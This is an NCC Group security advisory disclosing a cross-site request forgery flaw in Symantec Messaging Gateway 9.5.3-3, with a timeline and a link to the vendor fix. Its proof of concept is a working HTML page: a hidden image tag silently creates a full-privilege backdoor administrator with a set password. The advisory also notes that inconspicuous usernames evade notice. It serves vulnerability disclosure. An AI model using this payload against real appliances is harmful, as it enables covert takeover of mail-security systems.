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NGS000263 Technical Advisory: Symantec Messaging Gateway Easy CSRF to add a backdoor-administrator

=======
Summary
=======
Name: Symantec Messaging Gateway - Easy CSRF to add a backdoor-administrator 
(for example)
Release Date: 30 November 2012
Reference: NGS00263
Discoverer: Ben Williams <ben.williams@xxxxxxxxxxxxx>
Vendor: Symantec
Vendor Reference: 
Systems Affected: Symantec Messaging Gateway 9.5.3-3
Risk: High
Status: Published

========
TimeLine
========
Discovered: 16 April 2012
Released: 16 April 2012
Approved: 29 April 2012
Reported: 30 April 2012
Fixed: 27 August 2012
Published: 30 November 2012

===========
Description
===========
I. VULNERABILITY
-------------------------
Symantec Messaging Gateway 9.5.3-3 - Easy CSRF to add a backdoor-administrator 
(for example)

II. BACKGROUND
-------------------------
Symantec Messaging Gateway 9.5.3-3 is the latest version, of their Email 
Security Appliance

III. DESCRIPTION
-------------------------
It would be relatively easy for an attacker to add a backdoor-administrator to 
the system, by getting a logged-in adminstrator to view a webpage with a 
specially crafted image-tag. This is partly due to the fact that GET and POST 
requests are interchangeable, there is no password protection on sensitive 
functions, and there is not CSRF protection in the product.

=================
Technical Details
=================
IV. PROOF OF CONCEPT
-------------------------
An attacker can create an web page with a hidden image-tag (example below)

<html>
A very interesting page indeed
<img
src="http://192.168.1.59:41080/brightmail/admin/administrator/save.do?pageReuseFor=add&id=0&userName=backdoor&passwd=muhaha3&confirmPassword=muhaha3&fullAdminRole=true&statusRole=true";
height=0 width=0>
</html>

When a logged-in administrator views this page, a new backdoor administrator 
will be created in the application (as long as the username is unique).

The administrator would not notice anything until they go to here:
http://192.168.1.59:41080/brightmail/admin/administrator/view.do
(where they would see the added administrator, but if the username is something 
like "system" or "filter" they may not notice this as an issue anyway)

The attacker could then use this backdoor administrator to login, control and 
reconfigure the appliance.

Many other functions can be abused in this way to arbitrarily reconfigure the 
appliance.

===============
Fix Information
===============
An updated version of the software has been released to address the 
vulnerability:

http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120827_00


NCC Group Research
http://www.nccgroup.com/research


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